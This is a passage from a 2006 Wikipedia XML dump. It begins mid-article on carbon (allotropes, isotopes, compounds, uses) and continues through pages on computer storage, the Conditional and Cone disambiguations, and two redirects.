{{Elementbox_isotopes_stable | mn=12 | sym=C | na=98.9% | n=6 }}
{{Elementbox_isotopes_stable | mn=13 | sym=C | na=1.1% | n=7 }}
{{Elementbox_isotopes_decay | mn=14 | sym=C | na=[[trace radioisotope|trace]] | hl=5730 [[year|y]] | dm=[[beta emission|beta&lt;sup&gt;-&lt;/sup&gt;]] | de=0.156 | pn=14 | ps=[[nitrogen|N]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#a0ffa0 | color2=black }}

'''Carbon''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''C''' and [[atomic number]] 6. An abundant [[nonmetal]]lic, [[wiktionary:tetra-|tetra]][[Valency (chemistry)|valent]] element, carbon has several [[Allotropes of carbon|allotropic forms]]:

* [[Diamond]] : [[hardness|Hardest]] known natural [[mineral]]. Structure: each atom is bonded [[tetrahedron|tetrahedrally]] to four others, making a 3-dimensional network of [[pucker]]ed six-membered rings of atoms.
* [[Graphite]] : One of the softest substances. Structure: each atom is bonded [[trigonally]] to three other atoms, making a 2-dimensional network of flat six-membered rings; the flat sheets are loosely bonded.
* [[Fullerene]]s : Structure: comparatively large molecules formed completely of carbon bonded trigonally, forming [[spheroid]]s (of which the best-known and simplest is the [[buckminsterfullerene]] or buckyball).
* [[Chaoite]] : A mineral believed to be formed in [[meteorite]] impacts.
* [[Lonsdaleite]] : A corruption of [[diamond]]. Structure: similar to diamond, but forming a [[hexagonal]] [[crystal]] lattice.
* [[Amorphous carbon]] : A [[glass]]y substance. Structure: an assortment of carbon molecules in a non-crystalline, irregular, glassy state.
* [[Carbon nanofoam]] : An extremely light [[magnetic]] web. Structure: a low-density web of graphite-like clusters, in which the atoms are bonded trigonally in six- and seven-membered rings.
* [[Carbon nanotubes]] : Tiny tubes. Structure: each atom is bonded trigonally in a curved sheet that forms a hollow [[cylinder]].
* [[Aggregated diamond nanorods]] : The most recently discovered allotrope and the hardest substance known to man. &lt;!--So, what is the hardest substance, then? Diamond or &quot;aggregated diamond nanorods&quot;?--&gt;
* [[Lamp black]] : Consists of small graphitic areas. These areas are randomly distributed, so the whole structure is isotropic.
* '[[Glassy carbon]]' : An [[isotropic]] substance that contains a high proportion of closed [[porosity]]. Unlike normal graphite, the graphitic layers are not stacked like pages in a book, but have a more random arrangement.

Carbon fibers are similar to glassy carbon. Under special treatment (stretching of organic fibers and carbonization) it is possible to arrange the carbon planes in direction of the fiber. Perpendicular to the fiber axis there is no orientation of the carbon planes. The result are fibers with a higher [[specific strength]] than steel.

Carbon occurs in all organic [[life]] and is the basis of [[organic chemistry]]. This nonmetal also has the interesting chemical property of being able to bond with itself and a wide variety of other elements, forming nearly 10 million known compounds. When united with [[oxygen]] it forms [[carbon dioxide]] which is absolutely vital to [[plant]] growth. When united with [[hydrogen]], it forms various compounds called [[hydrocarbon]]s which are essential to industry in the form of [[fossil fuel]]s. When combined with both oxygen and hydrogen it can form many groups of compounds including [[fatty acid]]s, which are essential to life, and [[ester]]s, which give flavor to many fruits. The [[isotope]] [[carbon-14]] is commonly used in [[radioactive dating]].

==Notable characteristics==
Carbon is a remarkable element for many reasons.  Its different forms include one of the softest (graphite) and one of the hardest (diamond) substances known.  Moreover, it has a great affinity for [[chemical bond|bond]]ing with other small [[atom]]s, including other carbon atoms, and its small size makes it capable of forming multiple bonds. Because of these properties, carbon is known to form nearly ten million different compounds, the large majority of all chemical compounds. Carbon compounds form the basis of all life on [[Earth]] and the [[carbon-nitrogen cycle]] provides some of the energy produced by the [[sun]] and other [[star]]s. Moreover, carbon has the highest melting/sublimation point of all elements. At atmospheric pressure it has no actual melting point as its [[triple point]] is at 10 MPa (100 [[bar (unit)|bar]]) so it [[Sublimation (physics)|sublimates]] above 4000 K. Thus it remains solid at higher temperatures than the highest melting point metals like [[tungsten]] or [[rhenium]],
regardless of its allotropic form.

Carbon was not created in the [[Big Bang]] due to the fact that it needs a triple collision of alpha particles ([[helium]] nuclei) to be produced. The universe initially expanded and cooled too fast for that to be possible.  It is produced, however, in the interior of [[star]]s in the [[H-R diagram|horizontal branch]], where stars transform a [[helium]] core into carbon by means of the [[triple-alpha process]]. It was also created in a multi atomic state.

==Applications==
Carbon is a vital component of all known living systems, and without it life as we know it could not exist (see [[alternative biochemistry]]). The major economic use of carbon is in the form of hydrocarbons, most notably the [[fossil fuel]]s [[methane]] gas and [[crude oil]] (petroleum). Crude oil is used by the [[petrochemical industry]] to produce, amongst others, [[gasoline]] and [[kerosene]], through a [[distillation]] process, in [[refinery|refineries]]. Crude oil forms the raw material for many synthetic substances, many of which are collectively called [[plastic]]s.

===Other uses===
* The isotope [[carbon-14]] was discovered in [[February 27]] [[1940]] and is used in [[radiocarbon dating]].
* Graphite is combined with [[clay]]s to form the 'lead' used in [[pencil]]s.
* Diamond is used for decorative purposes, and also as drill bits and other applications making use of its hardness.
* Carbon is added to [[iron]] to make [[steel]].
* Carbon is used as a [[neutron moderator]] in [[nuclear reactor]]s.
* Graphite carbon in a powdered, caked form is used as [[charcoal]] for [[cooking]], [[art]]work and other uses.
* Activated charcoal is used in medicine (as powder or compounded in tablets or capsules) to [[absorption|absorb]] toxins or poisons from the digestive system.

The chemical and structural properties of fullerenes, in the form of [[carbon nanotube]]s, has promising potential uses in the nascent field of nanotechnology. Nanoparticles might however be toxic.

==History and Etymology==
Carbon was discovered in prehistory and was known to the ancients, who manufactured it by burning organic material in insufficient oxygen (making [[charcoal]]). [[Diamond]]s have long been considered rare and beautiful.  One of the last-known allotropes of carbon, [[fullerene]]s, were discovered as byproducts of molecular beam experiments in the 1980s.

The name comes from [[French language|French]] ''charbone'', which in turn came from [[Latin]] ''carbo'', meaning charcoal. In [[German language|German]] and [[Dutch language|Dutch]], the names for carbon are ''Kohlenstoff'' and ''koolstof'' respectively, both literally meaning &quot;[[coal]]-stuff&quot;.

==Allotropes==
[[Image:Eight_Allotropes_of_Carbon.png|thumb|300px|right|Eight allotropes of carbon: diamond, graphite, lonsdaleite, C60, C540, C70, amorphous carbon and a carbon nanotube.]]
[[Image:carbon basic phase diagram.png|thumb|300px|right|Basic [[phase diagram]] of carbon, which shows the state of matter for varying temperatures and pressures. The hashed regions indicate conditions under which one phase is [[metastability|metastable]], so that two phases can coexist. ]]
The [[allotropes]] of carbon are the different molecular configurations that pure [[carbon]] can take.

The three relatively well-known allotropes of carbon are [[amorphous carbon]], [[graphite]], and [[diamond]].  Several exotic allotropes have also been synthesized or discovered, including [[fullerene]]s, [[carbon nanotube]]s, [[lonsdaleite]] and [[aggregated diamond nanorods]].

In its amorphous form, carbon is essentially [[graphite]] but not held in a crystalline macrostructure. It is, rather, present as a powder which is the main constituent of substances such as [[charcoal]], [[lamp black]] ([[soot]]) and [[activated carbon]].



At normal pressures carbon takes the form of [[graphite]], in which each atom is bonded to three others in a plane composed of fused [[hexagon]]al rings, just like those in [[aromatic hydrocarbon]]s. The two known forms of graphite, alpha (hexagonal) and beta ([[rhombohedron|rhombohedral]]), both have identical physical properties, except for their crystal structure. Graphites that naturally occur have been found to contain up to 30% of the beta form, when synthetically-produced graphite only contains the alpha form. The alpha form can be converted to the beta form through mechanical treatment and the beta form reverts back to the alpha form when it is heated above 1000 °[[Celsius|C]].

Because of the delocalization of the [[pi-cloud]], graphite conducts [[electricity]]. The material is soft and the sheets, frequently separated by other atoms, are held together only by [[van der Waals force]]s, so easily slip past one another.

At very high pressures carbon forms an allotrope called [[diamond]], in which each atom is bonded to four others. Diamond has the same cubic structure as [[silicon]] and [[germanium]] and, thanks to the strength of the carbon-carbon [[chemical bond|bond]]s, is together with the [[isoelectronic]] [[boron nitride]] (BN) the hardest substance in terms of resistance to scratching. The transition to [[graphite]] at room temperature is so slow as to be unnoticeable. Under some conditions, carbon crystallizes as [[Lonsdaleite]], a form similar to diamond but hexagonal.

Fullerenes have a graphite-like structure, but instead of purely hexagonal packing, also contain pentagons (or possibly heptagons) of carbon atoms, which bend the sheet into spheres, ellipses or cylinders.  The properties of fullerenes (also called &quot;[[buckyball]]s&quot; and &quot;[[buckytube]]s&quot;) have not yet been fully analyzed. All the names of fullerenes are after [[Buckminster Fuller]], developer of the [[geodesic]] [[dome]], which mimics the structure of &quot;[[buckyball]]s&quot;.

A [[nanofoam]] allotrope has been discovered which is [[ferromagnetic]].

Carbon allotropes include:

* [[Amorphous carbon]]
* [[Carbon nanofoam]] (discovered in [[1997]])
* [[Carbon nanotube]]
* [[Diamond]]
* [[Fullerene]]
* [[Graphite]]
* [[Lonsdaleite]]
* [[Aggregated diamond nanorods]] (synthesised in [[2005]])

The system of carbon allotropes spans a range of extremes.

Between diamond and graphite:
* Graphite is soft and is used in pencils
* Diamond is the hardest mineral known to man (although aggregated diamond nanorods are now believed to be even harder), but graphite is one of the softest.
* Diamond is the ultimate abrasive, but graphite is a very good lubricant.
* Diamond is an excellent electrical insulator, but graphite is a conductor of electricity.
* Diamond is usually transparent, but graphite is opaque.
* Diamond crystallizes in the [[cubic (crystal system)|cubic system]] but graphite crystallizes in the [[hexagonal (crystal system)|hexagonal system]].

Between amorphous carbon and nanotubes:

* Amorphous carbon is among the easiest materials to synthesize, but carbon nanotubes are extremely expensive to make.
* Amorphous carbon is completely [[isotropic]], but carbon nanotubes are among the most anisotropic materials ever produced.

==Occurrence==
There are nearly ten million carbon compounds known to [[science]]. Many thousands of these are vital to life processes. They are also many organic-based reactions of economic importance. Carbon is abundant in [[star]]s, [[comet]]s, and in the [[celestial body's atmosphere|atmosphere]]s of most [[planet]]s. Some [[meteorite]]s contain microscopic diamonds that were formed when the [[solar system]] was still a [[protoplanetary disk]]. In combination with other elements, carbon is found the earth's atmosphere and dissolved in all water bodies. With smaller amounts of [[calcium]], [[magnesium]], and [[iron]], it is a major component of very large masses [[carbonate]] [[Rock (geology)|rock]] ([[limestone]], [[dolomite]], [[marble]] etc.). When combined with [[hydrogen]], carbon forms [[coal]], [[petroleum]], and [[natural gas]] which are called [[hydrocarbon]]s.

Graphite is found in large quantities in [[New York]] and [[Texas]], the [[United States]]; [[Russia]]; [[Mexico]]; [[Greenland]] and [[India]].

Natural diamonds occur in the mineral [[kimberlite]] found in ancient [[volcano|volcanic]] &quot;necks,&quot; or &quot;pipes&quot;.  Most diamond deposits are in [[Africa]], notably in [[South Africa]], [[Namibia]], [[Botswana]], the [[Republic of the Congo]] and [[Sierra Leone]].  There are also  deposits in [[Arkansas]], [[Canada]], the Russian [[Arctic]], [[Brazil]] and in Northern and Western [[Australia]].
; see also [[:category:Organic minerals]], [[:category:Carbonate minerals]]

==Organic compounds==
{{main|organic chemistry}}

The most prominent oxide of carbon is [[carbon dioxide]], CO&lt;sub&gt;2&lt;/sub&gt;. This is a minor component of the [[Earth's atmosphere]], produced and used by living things, and a common volatile elsewhere. In [[water (molecule)|water]] it forms trace amounts of [[methanoic acid]], HCO&lt;sub&gt;2&lt;/sub&gt;H, but as most compounds with multiple single-bonded oxygens on a single carbon it is unstable. Through this intermediate, though, resonance-stabilized [[carbonate]] [[ion]]s are produced. Some important minerals are carbonates, notably [[calcite]]. [[Carbon disulfide]], CS&lt;sub&gt;2&lt;/sub&gt;, is similar.

The other oxides are [[carbon monoxide]], CO, and the uncommon carbon suboxide, C&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;. Carbon monoxide is formed by incomplete combustion, and is a colorless, odorless gas. The molecules each contain a triple bond and are fairly [[polar molecule|polar]], resulting in a tendency to bind permanently to [[haemoglobin]] molecules, so that the gas is highly poisonous. [[Cyanide]], CN&lt;sup&gt;-&lt;/sup&gt;, has a similar structure and behaves a lot like a [[halide]] ion; the nitride [[cyanogen]], (CN)&lt;sub&gt;2&lt;/sub&gt;, is related.

With reactive [[metal]]s, such as [[tungsten]], carbon forms either carbides, C&lt;sup&gt;-&lt;/sup&gt;, or acetylides, C&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;2-&lt;/sup&gt; to form alloys with very high melting points. These anions are also associated with [[methane]] and [[acetylene]], both very weak [[acid]]s. All in all, with an electronegativity of 2.5, carbon prefers to form [[covalent bond]]s. A few carbides are covalent lattices, like [[carborundum]], SiC, which resembles [[diamond]].

===Carbon chains===
Carbon has the ability to form long chains with interconnecting C-C bonds. This property is called [[catenation]]. Carbon-carbon bonds are fairly strong, and abnormaly stable. This property is important as it allows carbon to form a huge number of compounds; in fact, there are more known carbon-containing compounds than all the compounds of the other chemical elements combined.

The simplest form of an organic molecule is the [[hydrocarbon]] - a large family of [[organic molecule]]s that, by definition, are composed of [[hydrogen]] atoms bonded to a chain of carbon atoms. Chain length, side chains and [[functional group]]s all affect the properties of organic molecules.

==Carbon cycle==
{{main|carbon cycle}}

Under terrestrial conditions, conversion of one isotope to another is very rare.  Therefore, for practical purposes, the amount of carbon on Earth is constant.  Thus processes that use carbon must obtain it from somewhere, and dispose of it somewhere.  The paths that carbon follows in the environment are called the carbon cycle.  For example, plants draw carbon dioxide out of the environments and use it to build biomass.  Some of this biomass is eaten by animals, where some of it is exhaled as carbon dioxide.  The carbon cycle is considerably more complicated than this short loop; for example, some carbon dioxide is dissolved in the oceans; dead plant or animal matter may become sedimentary rock, and so forth.

==Isotopes==
Carbon has two stable, naturally-occurring [[isotope]]s: [[carbon-12]], or &lt;sup&gt;12&lt;/sup&gt;C, (98.89%) and [[carbon-13]], or &lt;sup&gt;13&lt;/sup&gt;C, (1.11%), and one unstable, naturally-occurring, [[radioisotope]]; [[carbon-14]] or &lt;sup&gt;14&lt;/sup&gt;C.  There are 15 known isotopes of carbon and the shortest-lived of these is &lt;sup&gt;8&lt;/sup&gt;C which decays through [[proton emission]] and [[alpha decay]].  It has a half-life of 1.98739x10&lt;sup&gt;-21&lt;/sup&gt; [[Second|s]].

In [[1961]] the [[International Union of Pure and Applied Chemistry]] adopted the isotope [[carbon-12]] as the basis for [[atomic weight]]s.

Carbon-14 has a [[half-life]] of 5730 [[years|y]] and has been used extensively for [[radiocarbon dating]] carbonaceous materials.

==Precautions==
Carbon is relatively safe. Inhalation of fine [[soot]] in large quantities can be dangerous.  Carbon may catch fire at very high temperatures and burn vigorously (as in the [[Windscale fire]]).

There are a tremendous number of carbon compounds; some are lethally poisonous ([[cyanide]], CN&lt;sup&gt;-&lt;/sup&gt;), and some are essential to life ([[glucose]]).

==References==
* ''[http://lbruno.home.cern.ch/lbruno/documents/Bibliography/LHC_Note_78.pdf On Graphite Transformations at High Temperature and Pressure Induced by Absorption of the LHC Beam]'', J.M. Zazula, 1997
* WebElements.com and EnvironmentalChemistry.com per the guidelines at [http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Elements Wikipedia's WikiProject Elements]

==See also==
* [[Organic chemistry]]
* [[Inorganic chemistry of carbon]]
* [[Allotropes of carbon]]
* [[Diamond]]
** [[Material properties of diamond]]
* [[Carbon nanotube]]

==External links==
{{Commons|Carbon}}
{{wiktionary}}
* [http://periodic.lanl.gov/elements/6.html Los Alamos National Laboratory &amp;ndash; Carbon]
* [http://www.webelements.com/webelements/elements/text/C/index.html WebElements.com &amp;ndash; Carbon]
* [http://education.jlab.org/itselemental/ele006.html It's Elemental &amp;ndash; Carbon]
* [http://www.vincentherr.com/cf/ &amp;ndash; Carbon Fullerene and other Allotropes] models by Vincent Herr
* [http://invsee.asu.edu/nmodules/Carbonmod/everywhere.html Extensive Carbon page at asu.edu]
* [http://electrochem.cwru.edu/ed/encycl/art-c01-carbon.htm Electrochemical uses of carbon]
* [http://www.compchemwiki.org/index.php?title=Carbon Computational Chemistry Wiki]

[[Category:Carbon| ]]
[[Category:Chemical elements]]
[[Category:Nonmetals]]

{{Link FA|cs}}
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[[af:Koolstof]]
[[ar:كربون]]
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[[bn:কার্বন]]
[[ca:Carboni]]
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[[zh:碳]]</text>
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  </page>
  <page>
    <title>Computer storage</title>
    <id>5300</id>
    <revision>
      <id>39519841</id>
      <timestamp>2006-02-14T01:32:46Z</timestamp>
      <contributor>
        <username>Sifaka</username>
        <id>916327</id>
      </contributor>
      <minor />
      <comment>revert deletion of sections by 72.138.28.251</comment>
      <text xml:space="preserve">{{cleanup-date|August 2005}}
{{mergefrom|Data storage device}}

'''Computer storage''', or '''computer memory''', refers to the [[computer]] components, devices and [[recording medium|recording media]] that retain [[binary numeral system|binary information]] for some interval of time. In casual language, ''memory'' usually refers to forms of storage which are fast, but lose their contents in a case of power loss, and ''storage'' refers to forms of storage which are slower, but suitable for long-term retention.

In a [[home computer]], storage will usually take the form of [[random access memory]] to store the [[computer program]]s that are currently running and the documents that are being worked on, a [[hard disk]] to store the programs that are not running and the documents that are not worked on at the moment, and a [[removable media]] to store purchased programs and archived documents.

== Purposes of storage ==

The fundamental components of a general-purpose computer are [[arithmetic and logic unit]], [[control unit|control circuitry]], storage space, and input/output devices. If storage was removed, the device we had would be a simple [[calculator]] instead of a computer. The ability to store [[instruction (computer science)|instruction]]s that form a computer program, and the information that the instructions manipulate is what makes [[Von Neumann architecture|stored program architecture]] computers versatile.

[[Digital computer]] represents all information using the [[binary numeral system]]. Text, numbers, pictures, audio, and nearly any other form of information can be converted into a string of [[bit]]s, or binary digits, each of which has a value of 1 or 0. A piece of information can be manipulated by any computer whose storage space is large enough to accommodate the corresponding '''[[data (computing)|data]]''', or ''the binary representation of the piece of information''. For example, a computer with a storage space of eight million bits, or one [[megabyte]], could be used to edit a small [[novel]].

[[Image:Computer_storage_types.png|thumb|right|250px|Various forms of storage, divided according to their distance from the [[central processing unit]].]]Various forms of storage, based on various natural phenomenon, have been invented. So far, no practical universal storage medium exists, and all forms of storage have some drawbacks. Therefore a computer system usually contains several kinds of storage, each with an individual purpose.

=== Primary storage ===

'''[[Primary storage]]''' can be directly accessed by the [[central processing unit]] of the computer. Primary storage typically consists of three kinds of storage:
* '''[[CPU register|Processor register]]s''' are internal to the central processing unit. Registers contain information that the arithmetic and logic unit needs to carry out current instruction.
* '''[[Main storage]]''' contains the programs that are currently being run and the data the programs are operating on. The arithmetic and logic unit can quickly transfer information between a processor register and a location in main storage. In modern computers, [[random access memory]] is used for main storage. When people refer to ''computer memory'', they usually mean main storage.
* '''[[CPU cache|Processor cache]]''' is a special class of storage used by some central processing units. Some of the information in the main storage is duplicated in the processor cache, which is slightly slower but of much higher capacity than processor registers, and significantly faster than main storage.

=== Secondary, tertiary and off-line storage ===

'''[[Secondary storage]]''' requires the computer to use its [[input/output]] channels to access the information, and is used for long-term storage of persistent information. Secondary storage is typically of higher capacity than primary storage, but it is usually also much slower. In modern computers, [[hard disk]]s are usually used for this purpose.

'''[[Tertiary storage]]''' is a system where a [[industrial robot|robotic arm]] will handle off-line storage media (see next item) according to computer's commands. Tertiary storage is used in the realms of [[enterprise storage]] and [[scientific computing]], and is something a typical computer user never sees firsthand.

'''[[Off-line storage]]''' is a system where the storage medium can be easily removed from the storage device. Off-line storage is used for [[data transfer]] and archival purposes. In modern computers, [[floppy disk]]s and [[optical disc]]s are often used for off-line storage.

=== Network storage ===

'''[[Network storage]]''' is any type of computer storage that involves accessing information over a [[computer network]]. Network storage arguably allows to centralize the [[information management]] in an organization, and to reduce the duplication of information. Network storage includes:
* '''[[Network-attached storage]]''' is secondary or tertiary storage attached to a computer which an another computer can access over a [[local-area network]], a private [[wide-area network]], or in the case of [[online file storage]], over the [[Internet]].
* '''[[Network computer]]s''' are computers that do not contain internal secondary storage devices. Intead, documents and other data are stored on a network-attached storage.

&lt;!-- Note: this paragraph requires revision --&gt;Confusingly, these terms are sometimes used differently.  '''Primary storage''' can be used to refer to local random-access disk storage, which should properly be called secondary storage.  If this type of storage is called primary storage, then the term '''secondary storage''' would refer to offline, sequential-access storage like tape media.

== Characteristics of storage ==

The division to primary, secondary, tertiary and off-line storage is based on '''[[memory hierarchy]]''', or ''distance from the central processing unit''. There are also other ways to characterize various types of storage.

=== Volatility of information ===

* '''[[Volatile memory]]''' requires constant power to maintain the stored information. Volatile memory is typically used only for primary storage.
* '''[[Non-volatile memory]]''' will retain the stored information even if it is not constantly supplied with electric power. It is suitable for long-term storage of information, and therefore used for secondary, tertiary, and off-line storage.
* '''Dynamic memory''' is volatile memory which also requires that stored information is periodically ''[[memory refresh|refreshed]]'', or read and rewritten without modifications.

=== Ability to access non-contiguous information ===

* '''[[Random access]]''' means that any location in storage can be accessed at any moment in the same, usually small, amount of time. This makes [[random access memory]] well suited for primary storage.
* '''[[Sequential access]]''' means that the accessing a piece of information will take a varying amount of time time, depending on which piece of information was accessed last. The device may need to ''seek'' (e.g. to position the [[disk read-and-write head|read/write head]] correctly), or ''cycle'' (e.g. to wait for the correct location in a constantly revolving medium to appear below the read/write head).

=== Ability to change information ===

* '''Read/write storage''', or '''mutable storage''', allows information to be overwritten at any time. A computer without some amount of read/write storage for primary storage purposes would be useless for many tasks. Modern computers typically use read/write storage also for secondary storage.
* '''Read only storage''' retains the information stored at the time of manufacture, and '''write once storage''' ([[WORM]]) allows the information to be written only once at some point after manufacture. These are called '''immutable storage'''. Immutable storage is used for tertiary and off-line storage. Examples include [[CD-R]].
* '''Slow write, fast read storage''' is read/write storage which allows information to be overwritten multiple times, but with the write operation being much slower than the read operation. Examples include [[CD-RW]].

=== Addressability of information ===

* In '''location-addressable storage''', each individually accessible unit of information in storage is selected with its numerical [[memory address]]. In modern computers, location-addressable storage usually limits to primary storage, accessed internally by computer programs, since location-addressability is very efficient, but burdensome for humans.
* In '''[[file system|file system storage]]''', information is divided into ''[[computer file|files]]'' of variable length, and a particular file is selected with [[human-readable]] directory and file names. The underlying device is still location-addressable, but the [[operating system]] of a computer provides the file system [[abstraction (computer science)|abstraction]] to make the operation more understandable. In modern computers, secondary, tertiary and off-line storage use file systems.
* In '''[[content-addressable memory|content-addressable storage]]''', each individually accessible unit of information is selected with a [[hash function|hash value]], or a short identifier with no pertaining to the memory address the information is stored on. Content-addressable storage can be implemented using [[computer software|software]] (computer program) or [[computer hardware|hardware]] (computer device), with hardware being faster but more expensive option.

=== Capacity and performance ===

* '''[[Computer storage capacity|Storage capacity]]''' is the total amount of stored information that a storage device or medium can hold. It is expressed as a quantity of [[bit]]s or [[byte]]s (e.g. 10.4 [[megabyte]]s).
* '''[[Computer storage density|Storage density]]''' refers to the compactness of stored information. It is the storage capacity of a medium divided with a unit of length, area or volume (e.g. 1.2 megabytes per square centimeter).
* '''[[Latency (engineering)|Latency]]''' is the time it takes to access a particular location in storage. The relevant [[unit of measurement]] is typically [[nanosecond]] for primary storage, [[millisecond]] for secondary storage, and [[second]] for tertiary storage. It may make sense to separate ''read latency'' and ''write latency'', and in case of sequential access storage, ''minimum'', ''maximum'' and ''average latency''.
* '''[[Throughput]]''' is the rate at which information can read from or written to the storage. In computer storage, throughput is usually expressed in terms of ''megabytes per second'' or ''MB/s'', though [[bit rate]] may also be used. As with latency, ''read rate'' and ''write rate'' may need to be differentiated.

== Technologies, devices and media ==

=== Magnetic storage ===

'''Magnetic storage''' uses different patterns of [[magnetization]] on a [[magnetically]] coated surface to store information. Magnetic storage is ''non-volatile''. The information is accessed using one or more [[disk read-and-write head|read/write head]]s. Since the read/write head only covers a part of the surface, magnetic storage is ''sequential access'' and must seek, cycle or both. In modern computers, the magnetic surface will take these forms:

* [[Disk storage|Magnetic disk]]
** [[Floppy disk]], used for off-line storage
** [[Hard disk]], used for secondary storage
* [[Magnetic tape]], used for tertiary and off-line storage

In early computers, magnetic storage was also used for primary storage in a form of [[magnetic drum]], or [[core memory]], [[core rope memory]], [[thin film memory]], [[twistor memory]] or [[bubble memory]]. Also unlike today, magnetic tape was often used for secondary storage.

=== Semiconductor storage ===

'''[[Semiconductor memory]]''' uses [[semiconductor]]-based [[integrated circuit]]s to store information. A semiconductor memory chip may contain millions of tiny [[transistor]]s or [[capacitor]]s. Both ''volatile'' and ''non-volatile'' forms of semiconductor memory exist. In modern computers, primary storage almost exclusively consists of dynamic volatile semiconductor memory or [[dynamic random access memory]]. Since the turn of the century, a type of non-volatile semiconductor memory known as [[flash memory]] has steadily gained share as off-line storage for home computers. Non-volatile semiconductor memory is also used for secondary storage in various advanced electronic devices and specialized computers.

=== Optical disc storage ===

'''[[Optical disc|Optical disc storage]]''' uses tiny pits etched on the surface of a circular disc to store information, and reads this information by illuminating the surface with a [[laser diode]] and observing the reflection. Optical disc storage is ''non-volatile'' and ''sequential access''. The following forms are currently in common use:

* [[CD]], [[CD-ROM]], [[DVD]]: Read only storage, used for mass distribution of digital information (music, video, computer programs)
* [[CD-R]], [[DVD-R]], [[DVD plus R|DVD+R]]: Write once storage, used for tertiary and off-line storage
* [[CD-RW]], [[DVD-RW]], [[DVD plus RW|DVD+RW]], [[DVD-RAM]]: Slow write, fast read storage, used for tertiary and off-line storage

The following form have also been proposed:

* [[Blu-ray]]
* [[HD DVD]]
* [[Holographic Versatile Disc|HVD]]
* [[Phase-change Dual]]

==== Magneto-optical disc storage ====

'''[[Magneto-optical drive|Magneto-optical disc storage]]''' is optical disc storage where the magnetic state on a [[ferromagnetic]] surface stored information. The information is read optically and written by combining magnetic and optical methods. Magneto-optical disc storage is ''non-volatile'', ''sequential access'', slow write, fast read storage used for tertiary and off-line storage.

=== Other early methods ===

'''[[Paper tape]]''' and '''[[punch card]]s''' have been used to store information for automatic processing since the [[1890s]], long before general-purpose computers existed. Information was recorded by punching holes into the paper or cardboard medium, and was read by electrically (or, later, optically) sensing whether a particular location on the medium was solid or contained a hole.

'''[[Williams tube]]''' used a [[cathode ray tube]], and '''[[Selectron tube]]''' used a large [[vacuum tube]] to store information. These primary storage devices were short-lived in the market, since Williams tube was unreliable and Selectron tube was expensive.

'''[[Delay line memory]]''' used [[sound wave]]s in a substance such as [[Mercury (element)|mercury]] to store information. Delay line memory was ''dynamic volatile'', ''cycle sequential'' read/write storage, and was used for primary storage.

=== Other proposed methods ===

'''[[Phase-change memory]]''' uses different mechanical phases of [[phase change material]] to store information, and reads the information by observing the varying [[electric resistance]] of the material. Phase-change memory would be ''non-volatile'', ''random access'' read/write storage, and might be used for primary, secondary and off-line storage.

'''[[Holographic memory|Holographic storage]]''' stores information optically inside [[crystal]]s or [[photopolymer]]s. Holographic storage can utilize the whole volume of the storage medium, unlike optical disc storage which is limited to a small number of surface layers. Holographic storage would be ''non-volatile'', ''sequential access'', and either write once or read/write storage. It might be used for secondary and off-line storage.

'''[[Molecular memory]]''' stores information in [[polymer]]s that can store electric charge. Molecular memory might be especially suited for primary storage.

== See also ==
* [[Fragmentation#In Computer Storage|Fragmentation]]

=== Primary storage topics ===
* [[Memory management]]
** [[Virtual memory]]
** [[Physical memory]]
** [[Memory allocation]]
*** [[Dynamic memory]]
*** [[Memory leak]]
* [[Memory protection]]

=== Secondary, tertiary and off-line storage topics ===
* [[List of file formats]]
* [[Wait state]]
* [[Write protection]]

=== Data storage conferences ===

* [[Storage Decisions]]
* [[Storage Networking World]]
* [[Storage World Conference]]



== Reference ==
* [http://www.uplink.freeuk.com/data.html Estimates of the quantities of data contained by the various media]

[[Category:Computer storage|*]]
[[Category:Digital electronics]]
[[Category:Information technology]]

[[ca:Memòria d'ordinador]]
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    </revision>
  </page>
  <page>
    <title>Cecil B. Demille</title>
    <id>5301</id>
    <revision>
      <id>15903514</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cecil B. DeMille]]
</text>
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  </page>
  <page>
    <title>Conditional</title>
    <id>5302</id>
    <revision>
      <id>42031574</id>
      <timestamp>2006-03-03T09:20:22Z</timestamp>
      <contributor>
        <username>Fresheneesz</username>
        <id>247097</id>
      </contributor>
      <text xml:space="preserve">The term '''conditional''' is used in [[linguistics]] and [[logic]] to refer to related concepts about sentences of the form ''If X, then Y'' (ie. 'if-then'). Some uses of the term are found at:

*[[Causal conditional]] - If X then Y, where X is a cause of Y.
*[[Conditional mood]] - A verb form in many languages.
*[[Counterfactual conditional]] or ''subjunctive conditional'' - If it had been the case that X, then it would have been the case that Y.
*[[Indicative conditional]] - If-then statements in ordinary language.
*[[Material conditional | Material conditional or Implies operator]] - An operator introduced in critical thinking and logic.
*[[Relevance conditional]] - The conditional used in [[relevance logic]].
*[[Strict conditional]] - Captures necessary if-then statements.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Conic sections</title>
    <id>5303</id>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Conic section]]
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  </page>
  <page>
    <title>Cone</title>
    <id>5304</id>
    <revision>
      <id>41291762</id>
      <timestamp>2006-02-26T09:07:16Z</timestamp>
      <contributor>
        <username>Jorge Stolfi</username>
        <id>48742</id>
      </contributor>
      <comment>rv (fine point, but... a single cone cell is not color-sensitive (no more than a rod cell); it takes at least 3 cells + processing to get a full color signal</comment>
      <text xml:space="preserve">[[Image:PovCone.jpg|90px|right]]
A '''cone''' (from the [[Greek language|Greek]] ''&amp;#954;&amp;#974;&amp;#957;&amp;#959;&amp;#962;'', [[Latin]] ''conu'') is a basic [[geometry|geometrical]] [[shape]]: see [[cone (solid)]]. Several things have also been called &quot;cones&quot; on account of their shape:

*A '''[[volcanic cone]]''' is a mountain formed by material ejected from a [[volcanic vent]].
*In [[special relativity]], the '''[[light cone]]''' of an event consists of all [[spacetime]] events that can interact with it.
*The scaly [[fruit]]-like reproductive bodies of certain [[plant]]s, especially [[conifer]]s and [[cycad]]s, are called '''cones''': see '''[[conifer cone]]'''.
*In [[vertebrate]] [[anatomy]], a '''[[cone cell]]''' is a type of light-sensitive [[cell (biology)|cell]] found along with [[Rod cell|rods]] in the [[retina]] of the [[eye]].
